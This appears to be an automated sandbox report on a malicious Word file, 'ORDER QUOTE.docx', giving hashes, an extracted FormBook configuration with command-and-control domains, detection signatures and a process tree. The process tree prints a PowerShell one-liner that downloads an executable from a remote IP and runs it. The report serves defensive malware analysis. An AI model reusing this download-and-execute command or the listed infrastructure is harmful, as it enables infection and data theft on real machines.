Analysis
-
max time kernel
168s -
max time network
169s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
22-09-2021 18:20
Static task
static1
Behavioral task
behavioral1
Sample
ORDER QUOTE.docx
Resource
win7v20210408
Behavioral task
behavioral2
Sample
ORDER QUOTE.docx
Resource
win10-en-20210920
General
-
Target
ORDER QUOTE.docx
-
Size
10KB
-
MD5
eee70c12ab889fd6173de81fbc9a6817
-
SHA1
673a841da220e5ba72e5f30d1d566569595ed352
-
SHA256
7c41d53d6dd4f2979bfcdea462feef025b2f31cf55644f927ece5f4699a1b7a9
-
SHA512
7647f0d5adcd468a6cbae4900ecb2887de0a0f89ba25893379f905f04b7b9ee0fa89af755c8cb1db8e4d613f11a8f9f80334de3e784677d1fac1ad51cc9db8d7
Malware Config
Extracted
http://198.46.199.161/joo/vbc.exe
Extracted
formbook
4.1
m8g0
http://www.psicologarenatacruz.com/m8g0/
trypapaya.pro
instructorcornernet.com
techadvisorsfl.com
raunnan.com
filestune.com
learnitanywhereskills.com
beaullife.com
getcovidwear.com
tkrbeautyinstitut.com
lisaphamkhai.com
iconicdds.com
ksoopawlas.com
testosteron.store
jctaketwo.com
awexz.online
onlinening.com
steelwerkschicago.com
lukakordic.com
expertsofcoaching.com
dashcca.com
xn--demiatdirecto-1ib.com
yuhongicm.com
portlandsiege.com
academysta.com
blackwiremedia.com
kent-ro-service.com
awmarkets.com
speleatherware.com
rehabcenters.space
jioscircle.com
sinijitu.com
analyticsyoda.com
shlqjt.com
bikramyogamarietta.com
crowncasino9.com
smokin-balls.com
shirasu-clinic.com
856379912.xyz
ckatesting.club
dideqsa.com
goodreporters.com
bromosyon.com
ilkonceyayincilik.com
domennyarendi32.net
thegrowthinn.com
qsgasia.com
venolbolivia.com
myhalloweengift.com
deeparchivesport.com
stiltedstories.com
btcdonation.info
little-darling.com
maximumpotentialfitness.net
iading.com
datingwithgusto.com
abncustompainting.com
cropadvisorjobs.com
nanoring.info
best-practice-gastro.com
sellitech.net
mixonsolutions.com
throughthelineagency.com
gtat.pro
relicstudios.net
Signatures
-
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
Formbook Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/288-126-0x0000000000400000-0x000000000042F000-memory.dmp formbook behavioral1/memory/288-127-0x000000000041F1B0-mapping.dmp formbook behavioral1/memory/1124-137-0x0000000000080000-0x00000000000AF000-memory.dmp formbook -
Blocklisted process makes network request 2 IoCs
Processes:
EQNEDT32.EXEpowershell.exeflow pid process 12 612 EQNEDT32.EXE 13 1292 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 3 IoCs
Processes:
regasm.exevbc.exevbc.exepid process 856 regasm.exe 1576 vbc.exe 288 vbc.exe -
Abuses OpenXML format to download file from external location 2 IoCs
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key opened \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Office\Common\Offline\Files\http://cml.lol/olxqqy WINWORD.EXE -
Loads dropped DLL 4 IoCs
Processes:
EQNEDT32.EXEpowershell.exevbc.exepid process 612 EQNEDT32.EXE 612 EQNEDT32.EXE 1528 powershell.exe 1576 vbc.exe -
Uses the VBS compiler for execution 1 TTPs
-
Drops file in System32 directory 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
vbc.exevbc.exeNAPSTAT.EXEdescription pid process target process PID 1576 set thread context of 288 1576 vbc.exe vbc.exe PID 288 set thread context of 1204 288 vbc.exe Explorer.EXE PID 288 set thread context of 1204 288 vbc.exe Explorer.EXE PID 1124 set thread context of 1204 1124 NAPSTAT.EXE Explorer.EXE -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
-
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1596 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
powershell.exepowershell.exevbc.exeNAPSTAT.EXEpid process 1292 powershell.exe 1292 powershell.exe 1528 powershell.exe 1528 powershell.exe 288 vbc.exe 288 vbc.exe 288 vbc.exe 1124 NAPSTAT.EXE 1124 NAPSTAT.EXE 1124 NAPSTAT.EXE 1124 NAPSTAT.EXE 1124 NAPSTAT.EXE 1124 NAPSTAT.EXE 1124 NAPSTAT.EXE 1124 NAPSTAT.EXE 1124 NAPSTAT.EXE 1124 NAPSTAT.EXE 1124 NAPSTAT.EXE 1124 NAPSTAT.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 1204 Explorer.EXE -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
vbc.exeNAPSTAT.EXEpid process 288 vbc.exe 288 vbc.exe 288 vbc.exe 288 vbc.exe 1124 NAPSTAT.EXE 1124 NAPSTAT.EXE -
Suspicious use of AdjustPrivilegeToken 10 IoCs
Processes:
powershell.exepowershell.exevbc.exeNAPSTAT.EXEExplorer.EXEWINWORD.EXEdescription pid process Token: SeDebugPrivilege 1292 powershell.exe Token: SeDebugPrivilege 1528 powershell.exe Token: SeDebugPrivilege 288 vbc.exe Token: SeDebugPrivilege 1124 NAPSTAT.EXE Token: SeShutdownPrivilege 1204 Explorer.EXE Token: SeShutdownPrivilege 1204 Explorer.EXE Token: SeShutdownPrivilege 1596 WINWORD.EXE Token: SeShutdownPrivilege 1204 Explorer.EXE Token: SeShutdownPrivilege 1204 Explorer.EXE Token: SeShutdownPrivilege 1204 Explorer.EXE -
Suspicious use of FindShellTrayWindow 6 IoCs
Processes:
Explorer.EXEpid process 1204 Explorer.EXE 1204 Explorer.EXE 1204 Explorer.EXE 1204 Explorer.EXE 1204 Explorer.EXE 1204 Explorer.EXE -
Suspicious use of SendNotifyMessage 6 IoCs
Processes:
Explorer.EXEpid process 1204 Explorer.EXE 1204 Explorer.EXE 1204 Explorer.EXE 1204 Explorer.EXE 1204 Explorer.EXE 1204 Explorer.EXE -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1596 WINWORD.EXE 1596 WINWORD.EXE -
Suspicious use of WriteProcessMemory 39 IoCs
Processes:
EQNEDT32.EXEWINWORD.EXEregasm.execmd.exepowershell.exevbc.exeExplorer.EXENAPSTAT.EXEdescription pid process target process PID 612 wrote to memory of 856 612 EQNEDT32.EXE regasm.exe PID 612 wrote to memory of 856 612 EQNEDT32.EXE regasm.exe PID 612 wrote to memory of 856 612 EQNEDT32.EXE regasm.exe PID 612 wrote to memory of 856 612 EQNEDT32.EXE regasm.exe PID 1596 wrote to memory of 1484 1596 WINWORD.EXE splwow64.exe PID 1596 wrote to memory of 1484 1596 WINWORD.EXE splwow64.exe PID 1596 wrote to memory of 1484 1596 WINWORD.EXE splwow64.exe PID 1596 wrote to memory of 1484 1596 WINWORD.EXE splwow64.exe PID 856 wrote to memory of 1552 856 regasm.exe cmd.exe PID 856 wrote to memory of 1552 856 regasm.exe cmd.exe PID 856 wrote to memory of 1552 856 regasm.exe cmd.exe PID 856 wrote to memory of 1552 856 regasm.exe cmd.exe PID 1552 wrote to memory of 1292 1552 cmd.exe powershell.exe PID 1552 wrote to memory of 1292 1552 cmd.exe powershell.exe PID 1552 wrote to memory of 1292 1552 cmd.exe powershell.exe PID 1552 wrote to memory of 1292 1552 cmd.exe powershell.exe PID 1552 wrote to memory of 1528 1552 cmd.exe powershell.exe PID 1552 wrote to memory of 1528 1552 cmd.exe powershell.exe PID 1552 wrote to memory of 1528 1552 cmd.exe powershell.exe PID 1552 wrote to memory of 1528 1552 cmd.exe powershell.exe PID 1528 wrote to memory of 1576 1528 powershell.exe vbc.exe PID 1528 wrote to memory of 1576 1528 powershell.exe vbc.exe PID 1528 wrote to memory of 1576 1528 powershell.exe vbc.exe PID 1528 wrote to memory of 1576 1528 powershell.exe vbc.exe PID 1576 wrote to memory of 288 1576 vbc.exe vbc.exe PID 1576 wrote to memory of 288 1576 vbc.exe vbc.exe PID 1576 wrote to memory of 288 1576 vbc.exe vbc.exe PID 1576 wrote to memory of 288 1576 vbc.exe vbc.exe PID 1576 wrote to memory of 288 1576 vbc.exe vbc.exe PID 1576 wrote to memory of 288 1576 vbc.exe vbc.exe PID 1576 wrote to memory of 288 1576 vbc.exe vbc.exe PID 1204 wrote to memory of 1124 1204 Explorer.EXE NAPSTAT.EXE PID 1204 wrote to memory of 1124 1204 Explorer.EXE NAPSTAT.EXE PID 1204 wrote to memory of 1124 1204 Explorer.EXE NAPSTAT.EXE PID 1204 wrote to memory of 1124 1204 Explorer.EXE NAPSTAT.EXE PID 1124 wrote to memory of 1940 1124 NAPSTAT.EXE cmd.exe PID 1124 wrote to memory of 1940 1124 NAPSTAT.EXE cmd.exe PID 1124 wrote to memory of 1940 1124 NAPSTAT.EXE cmd.exe PID 1124 wrote to memory of 1940 1124 NAPSTAT.EXE cmd.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ORDER QUOTE.docx"2⤵
- Abuses OpenXML format to download file from external location
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122883⤵
-
C:\Windows\SysWOW64\NAPSTAT.EXE"C:\Windows\SysWOW64\NAPSTAT.EXE"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\AppData\Local\Temp\vbc.exe"3⤵
-
C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding1⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\regasm.exe"C:\Users\Public\regasm.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c powershell "(New-Object System.Net.WebClient).DownloadFile('http://198.46.199.161/joo/vbc.exe', (Join-Path -Path $env:Temp -ChildPath 'vbc.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'vbc.exe')" & exit3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "(New-Object System.Net.WebClient).DownloadFile('http://198.46.199.161/joo/vbc.exe', (Join-Path -Path $env:Temp -ChildPath 'vbc.exe'))"4⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'vbc.exe')"4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\vbc.exe"C:\Users\Admin\AppData\Local\Temp\vbc.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\vbc.exe"C:\Users\Admin\AppData\Local\Temp\vbc.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_10a2719f-ab19-452c-9537-375fecbe5f96MD5
df44874327d79bd75e4264cb8dc01811
SHA11396b06debed65ea93c24998d244edebd3c0209d
SHA25655de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181
SHA51295dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1abda922-9e0e-4200-89d0-60796083afccMD5
be4d72095faf84233ac17b94744f7084
SHA1cc78ce5b9c57573bd214a8f423ee622b00ebb1ec
SHA256b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc
SHA51243856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_60554f64-a36e-4439-8748-76f202d7cb75MD5
02ff38ac870de39782aeee04d7b48231
SHA10390d39fa216c9b0ecdb38238304e518fb2b5095
SHA256fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876
SHA51224a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6ccb18ff-7a22-469e-90e7-ccc861e1432bMD5
b6d38f250ccc9003dd70efd3b778117f
SHA1d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a
SHA2564de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265
SHA51267d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bd47eb21-a96b-4ccd-99d7-0d9f3f6c10b6MD5
75a8da7754349b38d64c87c938545b1b
SHA15c28c257d51f1c1587e29164cc03ea880c21b417
SHA256bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96
SHA512798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c9b427a0-6073-4eb8-9b09-f8e4712d7ab5MD5
5e3c7184a75d42dda1a83606a45001d8
SHA194ca15637721d88f30eb4b6220b805c5be0360ed
SHA2568278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59
SHA512fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
6578ec99357506e42c90a0958e1ef641
SHA1c3b044ad29cec617bcf298680f94ee08fab213c1
SHA2560a2485724bec23db2b678136526c22d63a090b92a8d7ea155ac1248abb91831f
SHA512548fe25d33bd62f3815b2a71ae9a9c10847ac2346a05e5d918bc8e5303e8fe839eac5055c3f6f513ce8b25be98b20d3e473a78514f08bc6f1f4f495fd66724da
-
C:\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
C:\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
C:\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msMD5
0e2528389196f907bc3ed61792dd60da
SHA1005ca3ae0d5ab8cce685579ebed399e3cdcfb558
SHA2567d51953c4d0ac72b4cb470d146af013cc9623010a8ce6e19be35e4d09d5a353a
SHA51250d657aafc614fe60fa7cc8d10bc32b8ab1238b8ac69515e9e74385035216bbe12d22a6261ce3912df11149629c3d23e654577033a4c7328b1ae03495d4bbbb6
-
C:\Users\Public\regasm.exeMD5
7f06feab552ff5b4b5ea9c0c08a50982
SHA1fec42fd952353328a01939c949ccb7031be50530
SHA256053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0
SHA5129c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0
-
\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
\Users\Public\regasm.exeMD5
7f06feab552ff5b4b5ea9c0c08a50982
SHA1fec42fd952353328a01939c949ccb7031be50530
SHA256053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0
SHA5129c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0
-
\Users\Public\regasm.exeMD5
7f06feab552ff5b4b5ea9c0c08a50982
SHA1fec42fd952353328a01939c949ccb7031be50530
SHA256053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0
SHA5129c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0
-
memory/288-129-0x0000000000C90000-0x0000000000F93000-memory.dmpFilesize
3.0MB
-
memory/288-130-0x00000000003B0000-0x00000000003C5000-memory.dmpFilesize
84KB
-
memory/288-132-0x00000000005E0000-0x00000000005F5000-memory.dmpFilesize
84KB
-
memory/288-127-0x000000000041F1B0-mapping.dmp
-
memory/288-126-0x0000000000400000-0x000000000042F000-memory.dmpFilesize
188KB
-
memory/856-67-0x0000000000000000-mapping.dmp
-
memory/1124-136-0x0000000000350000-0x0000000000396000-memory.dmpFilesize
280KB
-
memory/1124-137-0x0000000000080000-0x00000000000AF000-memory.dmpFilesize
188KB
-
memory/1124-134-0x0000000000000000-mapping.dmp
-
memory/1124-138-0x0000000002010000-0x0000000002313000-memory.dmpFilesize
3.0MB
-
memory/1124-139-0x0000000001F20000-0x0000000001FB4000-memory.dmpFilesize
592KB
-
memory/1204-131-0x00000000041D0000-0x0000000004326000-memory.dmpFilesize
1.3MB
-
memory/1204-133-0x0000000006790000-0x0000000006847000-memory.dmpFilesize
732KB
-
memory/1204-140-0x0000000007140000-0x00000000072A2000-memory.dmpFilesize
1.4MB
-
memory/1292-78-0x00000000025A0000-0x00000000025A1000-memory.dmpFilesize
4KB
-
memory/1292-77-0x00000000021E2000-0x00000000021E3000-memory.dmpFilesize
4KB
-
memory/1292-82-0x000000007EF30000-0x000000007EF31000-memory.dmpFilesize
4KB
-
memory/1292-88-0x0000000006080000-0x0000000006081000-memory.dmpFilesize
4KB
-
memory/1292-72-0x0000000000000000-mapping.dmp
-
memory/1292-74-0x0000000002180000-0x0000000002181000-memory.dmpFilesize
4KB
-
memory/1292-75-0x00000000046B0000-0x00000000046B1000-memory.dmpFilesize
4KB
-
memory/1292-83-0x0000000005680000-0x0000000005681000-memory.dmpFilesize
4KB
-
memory/1292-97-0x00000000062C0000-0x00000000062C1000-memory.dmpFilesize
4KB
-
memory/1292-76-0x00000000021E0000-0x00000000021E1000-memory.dmpFilesize
4KB
-
memory/1292-96-0x00000000061F0000-0x00000000061F1000-memory.dmpFilesize
4KB
-
memory/1292-89-0x0000000006220000-0x0000000006221000-memory.dmpFilesize
4KB
-
memory/1292-79-0x0000000005280000-0x0000000005281000-memory.dmpFilesize
4KB
-
memory/1484-70-0x000007FEFBEA1000-0x000007FEFBEA3000-memory.dmpFilesize
8KB
-
memory/1484-69-0x0000000000000000-mapping.dmp
-
memory/1528-114-0x00000000056D0000-0x00000000056D1000-memory.dmpFilesize
4KB
-
memory/1528-105-0x0000000004780000-0x0000000004781000-memory.dmpFilesize
4KB
-
memory/1528-104-0x0000000005380000-0x0000000005381000-memory.dmpFilesize
4KB
-
memory/1528-103-0x0000000004730000-0x0000000004731000-memory.dmpFilesize
4KB
-
memory/1528-102-0x0000000004910000-0x0000000004911000-memory.dmpFilesize
4KB
-
memory/1528-101-0x0000000000F20000-0x0000000000F21000-memory.dmpFilesize
4KB
-
memory/1528-98-0x0000000000000000-mapping.dmp
-
memory/1528-106-0x0000000004782000-0x0000000004783000-memory.dmpFilesize
4KB
-
memory/1552-71-0x0000000000000000-mapping.dmp
-
memory/1576-123-0x0000000004D30000-0x0000000004D91000-memory.dmpFilesize
388KB
-
memory/1576-117-0x0000000000000000-mapping.dmp
-
memory/1576-119-0x0000000000C00000-0x0000000000C01000-memory.dmpFilesize
4KB
-
memory/1576-121-0x00000000006D0000-0x00000000006ED000-memory.dmpFilesize
116KB
-
memory/1576-124-0x00000000008E0000-0x0000000000912000-memory.dmpFilesize
200KB
-
memory/1576-122-0x0000000004DD0000-0x0000000004DD1000-memory.dmpFilesize
4KB
-
memory/1596-63-0x0000000075891000-0x0000000075893000-memory.dmpFilesize
8KB
-
memory/1596-60-0x00000000729A1000-0x00000000729A4000-memory.dmpFilesize
12KB
-
memory/1596-62-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1596-61-0x0000000070421000-0x0000000070423000-memory.dmpFilesize
8KB
-
memory/1596-141-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1940-135-0x0000000000000000-mapping.dmp